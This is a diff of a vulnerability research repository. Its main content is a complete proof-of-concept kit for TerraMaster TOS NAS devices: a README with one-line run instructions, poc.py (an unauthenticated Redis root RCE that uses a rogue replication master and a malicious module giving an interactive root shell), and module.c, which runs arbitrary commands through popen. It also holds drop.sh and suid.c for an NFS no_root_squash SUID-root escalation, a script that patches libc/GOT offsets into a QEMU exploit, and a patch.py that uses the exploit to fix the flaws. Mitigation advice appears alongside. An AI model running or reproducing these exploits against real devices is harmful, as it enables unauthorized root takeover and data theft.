mkfs.ext4 -q -F -d alpine_root_fs.tmp images/alpine.tmp
rm -rf alpine_root_fs
mv alpine_root_fs.tmp alpine_root_fs
mv images/alpine.tmp images/alpine
echo done

51
qemu/update_poc_offsets.sh Executable file
View file

@ -0,0 +1,51 @@
#!/bin/sh
set -eu
POC=${1:-poc.c}
echo "[*] finding cmd_logs_get_log..."
cmd_logs_get_log=$(readelf -s qemu-system-x86_64 | grep cmd_logs_get_log | awk '{print $2}')
echo "[+] cmd_logs_get_log: $(printf '0x%s' "$cmd_logs_get_log")"
echo "[*] finding memmove@plt..."
memmove_plt=$(objdump -S -j .plt.sec qemu-system-x86_64 | grep "<memmove@plt>:" | awk '{print $1}')
echo "[+] memmove@plt: $(printf '0x%s' "$memmove_plt")"
echo "[*] finding __libc_start_main@got..."
libc_start_main_got=$(objdump -S qemu-system-x86_64 | grep "libc_start_main" | awk '{print $(NF-1)}')
echo "[+] __libc_start_main@got: $(printf '0x%s' "$libc_start_main_got")"
echo "[*] finding libc..."
libc_line=$(ldd ./qemu-system-x86_64 | grep libc.so | awk '{print $3}')
echo "[+] libc: $libc_line"
echo "[*] finding __libc_start_main..."
libc_start_main=$(readelf -sW $libc_line | grep -i __libc_start_main | awk '{print $2}')
echo "[+] __libc_start_main: $(printf '0x%s' "$libc_start_main")"
echo "[*] finding system..."
system=$(readelf -sW $libc_line | grep -i system@ | awk '{print $2}')
echo "[+] system: $(printf '0x%s' "$system")"
hexlit()
{
printf '0x%s\n' "$1"
}
replace()
{
old=$1
new=$2
tmp="$POC.tmp.$$"
sed "s/$old/$new/g" "$POC" > "$tmp"
mv "$tmp" "$POC"
}
echo "[*] updating $POC..."
replace 047E735 $cmd_logs_get_log
replace 0341BB0 $memmove_plt
replace 01E72FF8 $libc_start_main_got
replace 2A200 $libc_start_main
replace 058750 $system
echo "[+] done"

BIN
qemu/vgabios-stdvga.bin Normal file

Binary file not shown.

241
terramaster/README.md Normal file
View file

@ -0,0 +1,241 @@
# TossUp: TerraMaster TOS Redis RCE
<p align="center">
<img width="50%" alt="tossup logo" src="https://github.com/user-attachments/assets/8ed17d2c-f42f-4d9f-a5fc-c9f294a8ab5d" />
</p>
## Abstract
https://github.com/user-attachments/assets/12573e6d-b29a-4189-b71c-a44a21ca8e62
TossUp is a pair of bugs against TerraMaster TOS3_A1.0 4.2.41 on RTD1296
devices: an unauthenticated Redis root RCE and a separate NFS
`no_root_squash` local privilege escalation.
TossUp was discovered with [V12](https://v12.sh) by Aaron Esau of the
[V12 security team](https://x.com/v12sec).
> Want to find issues like this in your own code? Try V12 at [v12.sh](https://v12.sh).
The LPE is not part of the Redis RCE chain because the RCE already executes as
root.
We also have a separate authentication bypass, likely upgradable to RCE, which
we will release in the near future.
The bug is simple: the NAS ships Redis 4.0.10 running as root, listening on
`0.0.0.0:6379`, with no authentication. The on-disk `/etc/redis.conf` contains
`bind 127.0.0.1`, but the init path starts Redis as `redis-server *:6379`
without using that config file.
The PoC uses standard Redis features to turn that exposure into root RCE:
1. `CONFIG SET` changes Redis' working directory and database filename.
2. `SLAVEOF` points the NAS at a rogue Redis master controlled by the attacker.
3. The rogue master sends an AArch64 Redis module as the replication payload.
4. Redis writes the payload to disk as `/tmp/.<random>.so`.
5. `MODULE LOAD` loads the module and registers `system.exec`.
6. `system.exec` runs shell commands through `popen()` as the Redis process,
which is root on the tested device.
We reported this to TerraMaster who stated TOS4 is EOL. They have not indicated intent to fix the bug, so we are releasing our POC.
## "TossUp"?
Because it's TOS and you upload a malicious module.
## Exploitation
Build the Redis module:
```
cd terramaster/rce
make
```
Run one command as root:
```
python3 poc.py <NAS_IP> --cmd "id"
```
Or start the interactive command loop:
```
python3 poc.py <NAS_IP>
```
One-line version:
```
git clone https://github.com/v12-security/pocs.git && cd pocs/terramaster/rce && make && python3 poc.py <NAS_IP> --cmd "id"
```
If the NAS cannot route back to the automatically selected attacker IP, provide
one explicitly:
```
python3 poc.py <NAS_IP> --lhost <ATTACKER_IP> --cmd "id"
```
The target must expose TCP/6379 to you, and it must be able to connect back to
the temporary rogue-master listener opened by `poc.py`.
## Building
The `rce/Makefile` builds an AArch64 Redis module:
```
aarch64-linux-gnu-gcc -shared -fPIC -nostartfiles -o module.so module.c
```
Install an AArch64 cross-compiler if `make` fails with a missing compiler
error. A prebuilt `module.so` is included for the tested RTD1296 target, but
rebuilding is recommended if you change the module or do not want to run the
checked-in binary.
## Cleanup
The PoC attempts to clean up after itself:
- `SLAVEOF NO ONE`
- restore the original Redis `dir`
- restore the original Redis `dbfilename`
- remove the dropped `/tmp/.<random>.so`
- `MODULE UNLOAD system`
If the script is interrupted after module loading, unload it manually:
```
redis-cli -h <NAS_IP> MODULE UNLOAD system
```
The dropped module path is printed during exploitation. Remove that file from
the NAS if cleanup did not run.
## How It Works
1. **Unauthenticated Redis check.** `poc.py` connects to `<NAS_IP>:6379`, sends
`PING`, and expects `+PONG`. It also queries `INFO server` to print useful
Redis details such as `redis_version`, `os`, `process_id`, and `tcp_port`.
2. **Drop-path setup.** The current Redis `dir` and `dbfilename` are saved.
The PoC then sets `dir` to `/tmp` and `dbfilename` to a random hidden
`.so` name.
3. **Rogue master startup.** The PoC opens a local TCP listener on an ephemeral
port. If `--lhost` is not provided, it chooses the local source address that
can reach the NAS.
4. **Replication trigger.** The PoC sends `SLAVEOF <lhost> <lport>` to the NAS.
Redis connects back to the rogue master and starts the normal replication
handshake.
5. **Module delivery.** The rogue master implements just enough Redis
replication protocol to answer `PING`/setup commands and then return
`FULLRESYNC` with `module.so` as the bulk payload. Redis writes that payload
to `/tmp/.<random>.so`.
6. **State restoration.** The PoC sends `SLAVEOF NO ONE` and restores the saved
`dir` and `dbfilename` values so Redis is no longer pointed at the rogue
master or `/tmp`.
7. **Module load.** The PoC reconnects, verifies Redis still does not require
auth, and sends `MODULE LOAD /tmp/.<random>.so`.
8. **Root command execution.** `module.c` registers a Redis command named
`system.exec`. Each call runs the supplied command with `popen()`, captures
up to 8191 bytes of stdout, and returns it as a Redis simple string.
9. **Interactive loop.** Without `--cmd`, `poc.py` provides a simple
`root@<host>#` command prompt over repeated `system.exec` calls. This is not
a real TTY; it is a command loop.
## Separate LPE: NFS no_root_squash
The `lpe/` directory contains a separate TerraMaster TOS local privilege
escalation. It is not needed for TossUp because the Redis RCE already executes
as root, but it is useful as a standalone issue for systems where an attacker
has code execution as an unprivileged NAS user.
The LPE abuses an NFS export that allows remote root to create root-owned files
on the NAS. `drop.sh` mounts the export from the client, copies a static
AArch64 helper binary, sets owner `0:0`, and sets mode `4755`. If the export is
not root-squashed, the NAS keeps those attributes. Any local NAS user can then
execute the dropped helper to get a root shell or run one command as root.
Build and drop the helper:
```
cd terramaster/lpe
make
sudo ./drop.sh <NAS_IP>
```
If auto-detection chooses the wrong export, provide one explicitly:
```
sudo ./drop.sh <NAS_IP> <export_path>
```
On success the script prints the dropped path:
```
[+] SUID-root binary dropped at <export_path>/.suid
```
Then, on the NAS as any user:
```
<export_path>/.suid
<export_path>/.suid id
```
The helper in `suid.c` is intentionally minimal: it calls `setuid(0)` and
`setgid(0)`, then either execs the supplied command or falls back to `/bin/sh`.
## Affected Versions
Confirmed on:
```
TOS3_A1.0 4.2.41
Redis 4.0.10
RTD1296 / AArch64
```
Other TerraMaster builds may be affected if all of these conditions hold:
- Redis listens on `0.0.0.0:6379`
- Redis has no authentication
- Redis accepts `CONFIG SET`, `SLAVEOF`, and `MODULE LOAD`
- Redis runs as root
- the loaded module matches the NAS CPU architecture
The NFS LPE is separate and depends on different conditions:
- the NAS exposes an NFS export reachable by the client
- the export allows writes from the client
- the export does not squash remote root
- the dropped helper matches the NAS CPU architecture
## Mitigation
For owners who do not want this behavior:
- block TCP/6379 from untrusted networks
- make Redis bind only to localhost
- require Redis authentication
- disable or rename dangerous Redis commands such as `CONFIG`, `SLAVEOF`, and
`MODULE`
- fix the init path so Redis actually uses the intended config file
- run Redis as an unprivileged service user
- root-squash NFS exports and avoid writable exports to untrusted clients
Because the tested product is EOL, network isolation is the practical first
line of defense.
## Credit
Found with V12 by Aaron Esau of the V12 security team: [v12.sh](https://v12.sh)
-- dangerously powerful agentic security.

10
terramaster/lpe/Makefile Normal file
View file

@ -0,0 +1,10 @@
CC := aarch64-linux-gnu-gcc
CFLAGS := -static
all: suid
suid: suid.c
$(CC) $(CFLAGS) -o $@ $<
clean:
rm -f suid

41
terramaster/lpe/drop.sh Executable file
View file

@ -0,0 +1,41 @@
#!/bin/bash
# TerraMaster TOS NFS no_root_squash LPE
# Drops a SUID-root shell on the NAS via NFS.
# Requires: sudo, aarch64-linux-gnu-gcc, nfs-common/nfs-utils
set -e
NAS="${1:?usage: sudo ./drop.sh <NAS_IP> [export_path]}"
EXPORT="${2:-}"
MNTDIR=$(mktemp -d)
cleanup() { sudo umount "$MNTDIR" 2>/dev/null; rmdir "$MNTDIR" 2>/dev/null; }
trap cleanup EXIT
# Build if needed
[ -f suid ] || make -C "$(dirname "$0")"
# Auto-detect export
if [ -z "$EXPORT" ]; then
EXPORT=$(showmount -e "$NAS" --no-headers 2>/dev/null | head -1 | awk '{print $1}')
[ -z "$EXPORT" ] && { echo "[!] No exports found, specify manually"; exit 1; }
echo "[*] Export: $EXPORT"
fi
# Mount and drop
sudo mount -t nfs -o vers=3 "$NAS:$EXPORT" "$MNTDIR"
sudo cp "$(dirname "$0")/suid" "$MNTDIR/.suid"
sudo chown 0:0 "$MNTDIR/.suid"
sudo chmod 4755 "$MNTDIR/.suid"
# Verify
OWNER=$(stat -c '%u' "$MNTDIR/.suid")
MODE=$(stat -c '%a' "$MNTDIR/.suid")
if [ "$OWNER" = "0" ] && [ "$MODE" = "4755" ]; then
echo "[+] SUID-root binary dropped at $EXPORT/.suid"
echo ""
echo " On the NAS as any user:"
echo " $EXPORT/.suid # root shell"
echo " $EXPORT/.suid id # run a command as root"
else
echo "[!] no_root_squash not active (owner=$OWNER mode=$MODE)"
fi

BIN
terramaster/lpe/suid Executable file

Binary file not shown.

9
terramaster/lpe/suid.c Normal file
View file

@ -0,0 +1,9 @@
#include <unistd.h>
int main(int argc, char **argv) {
setuid(0);
setgid(0);
if (argc > 1)
execvp(argv[1], argv + 1);
else
execl("/bin/sh", "sh", NULL);
}

208
terramaster/patch.py Normal file
View file

@ -0,0 +1,208 @@
#!/usr/bin/env python3
"""
patch.py Exploit TerraMaster TOS Redis RCE to patch both vulnerabilities.
Bug 1 (RCE): /etc/init.d/redis is a symlink to /usr/sbin/desh, which runs
/etc/init.d/redis.en an encrypted script that starts
"redis-server 0.0.0.0:6379", ignoring /etc/redis.conf (which
already has "bind 127.0.0.1").
Fix: Replace the desh symlink with a proper init script that starts
redis-server with /etc/redis.conf. Ensure daemonize yes is set.
Bug 2 (LPE): /etc/exports has no_root_squash on NFS exports.
Fix: Replace no_root_squash with root_squash and re-export.
Usage:
python3 patch.py <NAS_IP>
python3 patch.py <NAS_IP> --lhost <ATTACKER_IP>
python3 patch.py <NAS_IP> --no-restart
"""
import argparse
import base64
import os
import sys
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, os.path.join(SCRIPT_DIR, "rce"))
import poc
from poc import (
Progress, deliver_module, redis_load_module, redis_exec,
redis_cmd, info, good, warn, bail,
)
REDIS_INIT = """\
#!/bin/sh
# Patched by patch.py — uses /etc/redis.conf instead of hardcoded 0.0.0.0:6379
DAEMON=/usr/bin/redis-server
CONF=/etc/redis.conf
case "$1" in
start)
"$DAEMON" "$CONF"
;;
stop)
redis-cli shutdown nosave 2>/dev/null || killall redis-server 2>/dev/null
;;
restart|reload)
"$0" stop
sleep 1
"$0" start
;;
*)
echo "Usage: $0 {start|stop|restart}" >&2
exit 1
;;
esac
"""
def rexec(sock, cmd):
"""Execute a shell command on the target via system.exec."""
return redis_exec(sock, cmd)
def write_remote(sock, path, content, mode=None):
"""Write a text file on the target via base64-encoded echo."""
b64 = base64.b64encode(content.encode()).decode()
rexec(sock, f"echo '{b64}' | base64 -d > {path}")
if mode:
rexec(sock, f"chmod {mode} {path}")
def patch_redis(sock):
"""Replace the desh-encrypted Redis init script with one that honours
/etc/redis.conf, and ensure the config has daemonize yes."""
# --- verify the config already binds to localhost ---
bind_line = rexec(sock, "grep '^bind ' /etc/redis.conf")
if "127.0.0.1" not in bind_line:
bail(f"/etc/redis.conf bind is not 127.0.0.1: {bind_line.strip()}")
good(f"redis.conf bind verified: {bind_line.strip()}")
# --- ensure daemonize yes (stock config ships 'daemonize no') ---
daemonize = rexec(sock, "grep '^daemonize ' /etc/redis.conf")
if "yes" not in daemonize:
info("Setting daemonize yes in /etc/redis.conf")
rexec(sock, "sed -i 's/^daemonize .*/daemonize yes/' /etc/redis.conf")
verify = rexec(sock, "grep '^daemonize ' /etc/redis.conf")
if "yes" not in verify:
rexec(sock, "echo 'daemonize yes' >> /etc/redis.conf")
good("daemonize yes set")
else:
good(f"redis.conf daemonize verified: {daemonize.strip()}")
# --- safety: confirm init script is the vulnerable desh symlink ---
target = rexec(sock, "readlink /etc/init.d/redis 2>/dev/null || echo NOT_A_SYMLINK")
if "/usr/sbin/desh" not in target:
warn(f"/etc/init.d/redis is not the expected desh symlink ({target.strip()})")
warn("Skipping init script replacement — may already be patched")
return
# --- replace the symlink with a real init script ---
rexec(sock, "cp -a /etc/init.d/redis /etc/init.d/redis.bak.pre-patch 2>/dev/null; true")
rexec(sock, "rm -f /etc/init.d/redis")
write_remote(sock, "/etc/init.d/redis", REDIS_INIT, mode="755")
head = rexec(sock, "head -2 /etc/init.d/redis")
if "#!/bin/sh" not in head:
bail("Failed to write /etc/init.d/redis")
good("Patched /etc/init.d/redis — will use /etc/redis.conf on restart")
def patch_nfs(sock):
"""Replace no_root_squash with root_squash in /etc/exports and re-export."""
exports = rexec(sock, "cat /etc/exports 2>/dev/null")
if not exports.strip():
warn("/etc/exports is empty or missing — skipping NFS patch")
return
if "no_root_squash" not in exports:
warn("no_root_squash not found in /etc/exports — already fixed or not present")
return
info(f"Current /etc/exports:\n{exports.strip()}")
rexec(sock, "cp /etc/exports /etc/exports.bak.pre-patch")
rexec(sock, "sed -i 's/no_root_squash/root_squash/g' /etc/exports")
patched = rexec(sock, "cat /etc/exports")
if "no_root_squash" in patched:
bail("sed replacement failed on /etc/exports")
good(f"Patched /etc/exports:\n{patched.strip()}")
rexec(sock, "exportfs -ra 2>/dev/null; true")
good("NFS re-exported with root_squash")
def main():
parser = argparse.ArgumentParser(
description="Exploit TerraMaster TOS Redis RCE to patch both bugs",
)
parser.add_argument("host", help="NAS IP address")
parser.add_argument("--lhost", default=None,
help="Attacker IP reachable from target (default: auto)")
parser.add_argument("--no-restart", action="store_true",
help="Skip Redis restart after patching")
args = parser.parse_args()
poc._progress = Progress(total=8)
# --- load the .so payload ---
module_so = os.path.join(SCRIPT_DIR, "rce", "module.so")
if not os.path.isfile(module_so):
bail(f"{module_so} not found — run 'make' in rce/")
payload = open(module_so, "rb").read()
info(f"Loaded {module_so} ({len(payload)} bytes)")
# --- phase 1: exploit the RCE ---
module_path = deliver_module(args.host, payload, lhost=args.lhost)
sock = redis_load_module(args.host, module_path)
whoami = rexec(sock, "id")
if "uid=0" not in whoami:
bail(f"Not root: {whoami.strip()}")
good(f"Root: {whoami.strip()}")
# --- phase 2: patch both bugs ---
try:
patch_redis(sock)
patch_nfs(sock)
except SystemExit:
raise
except Exception as e:
warn(f"Patch failed: {e}")
rexec(sock, f"rm -f {module_path}")
try:
redis_cmd(sock, "MODULE", "UNLOAD", "system")
except OSError:
pass
sock.close()
return 1
# --- phase 3: cleanup exploit artifacts ---
info("Removing exploit module from disk")
rexec(sock, f"rm -f {module_path}")
if not args.no_restart:
info("Scheduling Redis restart in 2s")
rexec(sock, "nohup sh -c 'sleep 2; /etc/init.d/redis restart' >/dev/null 2>&1 &")
good("Redis will restart bound to 127.0.0.1 in ~2 seconds")
else:
warn("Skipped restart — run '/etc/init.d/redis restart' to apply Redis bind fix")
try:
redis_cmd(sock, "MODULE", "UNLOAD", "system")
except (BrokenPipeError, OSError):
pass
try:
sock.close()
except OSError:
pass
good("Both vulnerabilities patched")
return 0
if __name__ == "__main__":
sys.exit(main())

12
terramaster/rce/Makefile Normal file
View file

@ -0,0 +1,12 @@
CC := aarch64-linux-gnu-gcc
CFLAGS := -shared -fPIC -nostartfiles
.PHONY: all clean
all: module.so
module.so: module.c redismodule.h
$(CC) $(CFLAGS) -o $@ $<
clean:
rm -f module.so

46
terramaster/rce/module.c Normal file
View file

@ -0,0 +1,46 @@
/*
* Minimal Redis module: executes a shell command and returns stdout.
* Loaded via MODULE LOAD over an NFS share to achieve root RCE.
*
* Usage after loading:
* system.exec "id"
* system.exec "cat /etc/shadow"
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "redismodule.h"
static int cmd_exec(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc != 2) return RedisModule_WrongArity(ctx);
size_t len;
const char *cmd = RedisModule_StringPtrLen(argv[1], &len);
char buf[8192] = {0};
FILE *fp = popen(cmd, "r");
if (!fp)
return RedisModule_ReplyWithError(ctx, "ERR popen failed");
size_t total = 0;
while (total < sizeof(buf) - 1) {
size_t n = fread(buf + total, 1, sizeof(buf) - 1 - total, fp);
if (n == 0) break;
total += n;
}
pclose(fp);
return RedisModule_ReplyWithSimpleString(ctx, buf);
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx, "system", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.exec", cmd_exec,
"write deny-oom", 0, 0, 0) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}

BIN
terramaster/rce/module.so Executable file

Binary file not shown.

379
terramaster/rce/poc.py Executable file
View file

@ -0,0 +1,379 @@
#!/usr/bin/env python3
"""
TerraMaster TOS Redis unauthenticated root RCE POC
Exploits Redis 4.0.10 running as root, bound to 0.0.0.0:6379 with no
authentication on TOS3_A1.0 4.2.41 (RTD1296).
The config file (/etc/redis.conf with "bind 127.0.0.1") is ignored because
the init script starts redis as "redis-server *:6379" without referencing it.
Attack chain (requires only network access to port 6379):
a) Use CONFIG SET to point dir/dbfilename at a writable location.
b) Use SLAVEOF to make target replicate from a rogue master we emulate.
c) Rogue master sends the compiled Redis module (.so) as the RDB payload.
d) Redis writes the payload to disk verbatim.
e) MODULE LOAD the .so, execute arbitrary commands as root.
No NFS, SSH, or credentials required only port 6379.
Usage:
python3 poc.py <NAS_IP> # interactive root shell
python3 poc.py <NAS_IP> --cmd "id" # single command
python3 poc.py <NAS_IP> --cmd "cat /etc/shadow"
Requires module.so (run `make` to build it).
"""
import argparse
import os
import random
import socket
import string
import sys
import time
REDIS_PORT = 6379
MODULE_DROP_DIR = "/tmp"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
# ---------------------------------------------------------------------------
# Progress bar — logs scroll above, bar sticks to the bottom
# ---------------------------------------------------------------------------
class Progress:
"""Single-line progress bar on stderr. Logs print above it."""
def __init__(self, total, width=36):
self.total = total
self.width = width
self.step = 0
self.msg = ""
self.tty = sys.stderr.isatty()
def update(self, step, msg=""):
self.step = step
self.msg = msg
if self.tty:
self._draw()
def _draw(self):
filled = int(self.width * self.step / self.total)
bar = "\033[36m" + "" * filled + "\033[90m" + "" * (self.width - filled) + "\033[0m"
pct = self.step * 100 // self.total
sys.stderr.write(f"\033[2K\r {bar} {pct:3d}% {self.msg}")
sys.stderr.flush()
def clear(self):
if self.tty:
sys.stderr.write("\033[2K\r")
sys.stderr.flush()
def finish(self):
self.step = self.total
if self.tty:
filled = self.width
bar = "\033[32m" + "" * filled + "\033[0m"
sys.stderr.write(f"\033[2K\r {bar} 100% done\n")
sys.stderr.flush()
_progress = None
def _log(prefix, msg):
if _progress:
_progress.clear()
sys.stderr.write(f"{prefix} {msg}\n")
sys.stderr.flush()
if _progress and _progress.step < _progress.total:
_progress._draw()
def bail(msg):
if _progress:
_progress.clear()
sys.stderr.write(f"\n\033[31m[FATAL]\033[0m {msg}\n")
sys.exit(1)
def info(msg):
_log("\033[90m[*]\033[0m", msg)
def good(msg):
_log("\033[32m[+]\033[0m", msg)
def warn(msg):
_log("\033[33m[!]\033[0m", msg)
# ---------------------------------------------------------------------------
# Redis helpers
# ---------------------------------------------------------------------------
def redis_connect(host, port=REDIS_PORT, timeout=5):
return socket.create_connection((host, port), timeout=timeout)
def redis_cmd(sock, *args):
parts = [f"*{len(args)}\r\n"]
for a in args:
s = str(a)
parts.append(f"${len(s)}\r\n{s}\r\n")
sock.sendall("".join(parts).encode())
time.sleep(0.3)
data = b""
sock.settimeout(2)
while True:
try:
chunk = sock.recv(65536)
if not chunk:
break
data += chunk
except socket.timeout:
break
return data.decode(errors="replace")
def redis_config_get(sock, key):
resp = redis_cmd(sock, "CONFIG", "GET", key)
lines = resp.split("\r\n")
if len(lines) >= 5:
return lines[4]
return None
# ---------------------------------------------------------------------------
# Rogue Redis master (replication payload delivery)
# ---------------------------------------------------------------------------
def get_local_ip(target_host, target_port=REDIS_PORT):
s = socket.create_connection((target_host, target_port), timeout=5)
ip = s.getsockname()[0]
s.close()
return ip
def random_drop_name():
tag = ''.join(random.choices(string.ascii_lowercase, k=8))
return f".{tag}.so"
def handle_repl_handshake(conn, payload):
"""Speak just enough RESP to complete a FULLRESYNC and deliver payload."""
conn.settimeout(10)
while True:
data = conn.recv(4096)
if not data:
raise ConnectionError("slave disconnected during handshake")
text = data.decode(errors="replace").strip()
if "PSYNC" in text or "SYNC" in text:
info(f" <- {text.splitlines()[0][:60]}")
info(f" -> FULLRESYNC ({len(payload)} bytes)")
conn.sendall(f"+FULLRESYNC {'Z' * 40} 1\r\n".encode())
conn.sendall(f"${len(payload)}\r\n".encode())
conn.sendall(payload)
conn.sendall(b"\r\n")
time.sleep(2)
return
elif "PING" in text:
info(" <- PING")
info(" -> PONG")
conn.sendall(b"+PONG\r\n")
else:
first_line = text.splitlines()[0] if text else "(empty)"
info(f" <- {first_line[:60]}")
info(" -> OK")
conn.sendall(b"+OK\r\n")
def deliver_module(host, payload_bytes, lhost=None):
"""Deliver .so binary to target filesystem via Redis replication."""
_progress.update(1, "Connecting to Redis")
info(f"Connecting to {host}:{REDIS_PORT}")
sock = redis_connect(host)
drop_name = random_drop_name()
drop_path = f"{MODULE_DROP_DIR}/{drop_name}"
if lhost is None:
lhost = get_local_ip(host)
_progress.update(2, "Configuring drop location")
orig_dir = redis_config_get(sock, "dir")
orig_dbfilename = redis_config_get(sock, "dbfilename")
info(f"Saved config: dir={orig_dir} dbfilename={orig_dbfilename}")
resp = redis_cmd(sock, "CONFIG", "SET", "dir", MODULE_DROP_DIR)
if "+OK" not in resp:
bail(f"CONFIG SET dir failed: {resp.strip()}")
resp = redis_cmd(sock, "CONFIG", "SET", "dbfilename", drop_name)
if "+OK" not in resp:
bail(f"CONFIG SET dbfilename failed: {resp.strip()}")
info(f"Configured drop: dir={MODULE_DROP_DIR} dbfilename={drop_name}")
_progress.update(3, "Starting rogue master")
listen_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listen_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listen_sock.bind(("0.0.0.0", 0))
listen_sock.listen(1)
lport = listen_sock.getsockname()[1]
listen_sock.settimeout(15)
info(f"Listening on {lhost}:{lport}")
_progress.update(4, "Waiting for slave to connect")
info(f"SLAVEOF {lhost} {lport}")
redis_cmd(sock, "SLAVEOF", lhost, str(lport))
conn, addr = listen_sock.accept()
info(f"Slave connected from {addr[0]}:{addr[1]}")
_progress.update(5, "Replication handshake")
handle_repl_handshake(conn, payload_bytes)
conn.close()
listen_sock.close()
good(f"Payload written to {drop_path}")
_progress.update(6, "Restoring config")
info("SLAVEOF NO ONE")
redis_cmd(sock, "SLAVEOF", "NO", "ONE")
if orig_dir:
redis_cmd(sock, "CONFIG", "SET", "dir", orig_dir)
if orig_dbfilename:
redis_cmd(sock, "CONFIG", "SET", "dbfilename", orig_dbfilename)
info(f"Restored config: dir={orig_dir} dbfilename={orig_dbfilename}")
sock.close()
return drop_path
# ---------------------------------------------------------------------------
# Redis RCE via MODULE LOAD
# ---------------------------------------------------------------------------
def redis_load_module(host, module_path):
"""Connect, verify no auth, load module. Returns the live socket."""
_progress.update(7, "Loading module")
info(f"Connecting to {host}:{REDIS_PORT}")
try:
sock = redis_connect(host)
except (OSError, socket.timeout) as e:
bail(f"Cannot connect to Redis: {e}")
resp = redis_cmd(sock, "PING")
if "+PONG" not in resp:
bail(f"Redis requires auth or rejected PING: {resp.strip()[:200]}")
good("PONG — no authentication")
resp = redis_cmd(sock, "INFO", "server")
for key in ("redis_version", "os", "process_id", "tcp_port"):
for line in resp.splitlines():
if line.startswith(f"{key}:"):
info(f" {line.strip()}")
info(f"MODULE LOAD {module_path}")
resp = redis_cmd(sock, "MODULE", "LOAD", module_path)
if "ERR" in resp and "already loaded" not in resp.lower():
bail(f"MODULE LOAD failed: {resp.strip()}")
good("system.exec available")
_progress.finish()
return sock
def redis_exec(sock, cmd):
"""Execute a command via system.exec and return output."""
resp = redis_cmd(sock, "system.exec", cmd)
output = resp.strip()
if output.startswith("+"):
output = output[1:]
return output
def redis_cleanup(sock, module_path):
"""Remove .so from disk and unload module."""
try:
redis_exec(sock, f"rm -f {module_path}")
except (BrokenPipeError, OSError):
pass
try:
redis_cmd(sock, "MODULE", "UNLOAD", "system")
except (BrokenPipeError, OSError):
pass
try:
sock.close()
except OSError:
pass
# ---------------------------------------------------------------------------
# Interactive shell
# ---------------------------------------------------------------------------
def shell(sock, host):
"""Interactive root shell over Redis system.exec."""
warn(f"root shell on {host} via Redis — type 'exit' or Ctrl-D to quit")
while True:
try:
cmd = input(f"\x1b[1;31mroot@{host}\x1b[0m# ")
except (EOFError, KeyboardInterrupt):
print()
break
cmd = cmd.strip()
if not cmd:
continue
if cmd in ("exit", "quit"):
break
output = redis_exec(sock, cmd)
if output:
print(output)
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
global _progress
parser = argparse.ArgumentParser(
description="TerraMaster TOS Redis -> unauthenticated root RCE"
)
parser.add_argument("host", help="NAS IP address")
parser.add_argument("--cmd", default=None,
help="Single command (default: interactive shell)")
parser.add_argument("--lhost", default=None,
help="Attacker IP reachable from target (default: auto)")
args = parser.parse_args()
_progress = Progress(total=8)
module_so = os.path.join(SCRIPT_DIR, "module.so")
if not os.path.isfile(module_so):
bail(f"{module_so} not found. Run 'make' to build it.")
payload = open(module_so, "rb").read()
info(f"Loaded {module_so} ({len(payload)} bytes)")
module_on_target = deliver_module(args.host, payload, lhost=args.lhost)
sock = redis_load_module(args.host, module_on_target)
if args.cmd:
output = redis_exec(sock, args.cmd)
if output:
print(output)
else:
warn("No output.")
else:
shell(sock, args.host)
info("Cleaning up")
redis_cleanup(sock, module_on_target)
good("Done")
return 0
if __name__ == "__main__":
sys.exit(main())

View file

@ -0,0 +1,405 @@
#ifndef REDISMODULE_H
#define REDISMODULE_H
#include <sys/types.h>
#include <stdint.h>
#include <stdio.h>
/* ---------------- Defines common between core and modules --------------- */
/* Error status return values. */
#define REDISMODULE_OK 0
#define REDISMODULE_ERR 1
/* API versions. */
#define REDISMODULE_APIVER_1 1
/* API flags and constants */
#define REDISMODULE_READ (1<<0)
#define REDISMODULE_WRITE (1<<1)
#define REDISMODULE_LIST_HEAD 0
#define REDISMODULE_LIST_TAIL 1
/* Key types. */
#define REDISMODULE_KEYTYPE_EMPTY 0
#define REDISMODULE_KEYTYPE_STRING 1
#define REDISMODULE_KEYTYPE_LIST 2
#define REDISMODULE_KEYTYPE_HASH 3
#define REDISMODULE_KEYTYPE_SET 4
#define REDISMODULE_KEYTYPE_ZSET 5
#define REDISMODULE_KEYTYPE_MODULE 6
/* Reply types. */
#define REDISMODULE_REPLY_UNKNOWN -1
#define REDISMODULE_REPLY_STRING 0
#define REDISMODULE_REPLY_ERROR 1
#define REDISMODULE_REPLY_INTEGER 2
#define REDISMODULE_REPLY_ARRAY 3
#define REDISMODULE_REPLY_NULL 4
/* Postponed array length. */
#define REDISMODULE_POSTPONED_ARRAY_LEN -1
/* Expire */
#define REDISMODULE_NO_EXPIRE -1
/* Sorted set API flags. */
#define REDISMODULE_ZADD_XX (1<<0)
#define REDISMODULE_ZADD_NX (1<<1)
#define REDISMODULE_ZADD_ADDED (1<<2)
#define REDISMODULE_ZADD_UPDATED (1<<3)
#define REDISMODULE_ZADD_NOP (1<<4)
/* Hash API flags. */
#define REDISMODULE_HASH_NONE 0
#define REDISMODULE_HASH_NX (1<<0)
#define REDISMODULE_HASH_XX (1<<1)
#define REDISMODULE_HASH_CFIELDS (1<<2)
#define REDISMODULE_HASH_EXISTS (1<<3)
/* Context Flags: Info about the current context returned by RM_GetContextFlags */
/* The command is running in the context of a Lua script */
#define REDISMODULE_CTX_FLAGS_LUA 0x0001
/* The command is running inside a Redis transaction */
#define REDISMODULE_CTX_FLAGS_MULTI 0x0002
/* The instance is a master */
#define REDISMODULE_CTX_FLAGS_MASTER 0x0004
/* The instance is a slave */
#define REDISMODULE_CTX_FLAGS_SLAVE 0x0008
/* The instance is read-only (usually meaning it's a slave as well) */
#define REDISMODULE_CTX_FLAGS_READONLY 0x0010
/* The instance is running in cluster mode */
#define REDISMODULE_CTX_FLAGS_CLUSTER 0x0020
/* The instance has AOF enabled */
#define REDISMODULE_CTX_FLAGS_AOF 0x0040 //
/* The instance has RDB enabled */
#define REDISMODULE_CTX_FLAGS_RDB 0x0080 //
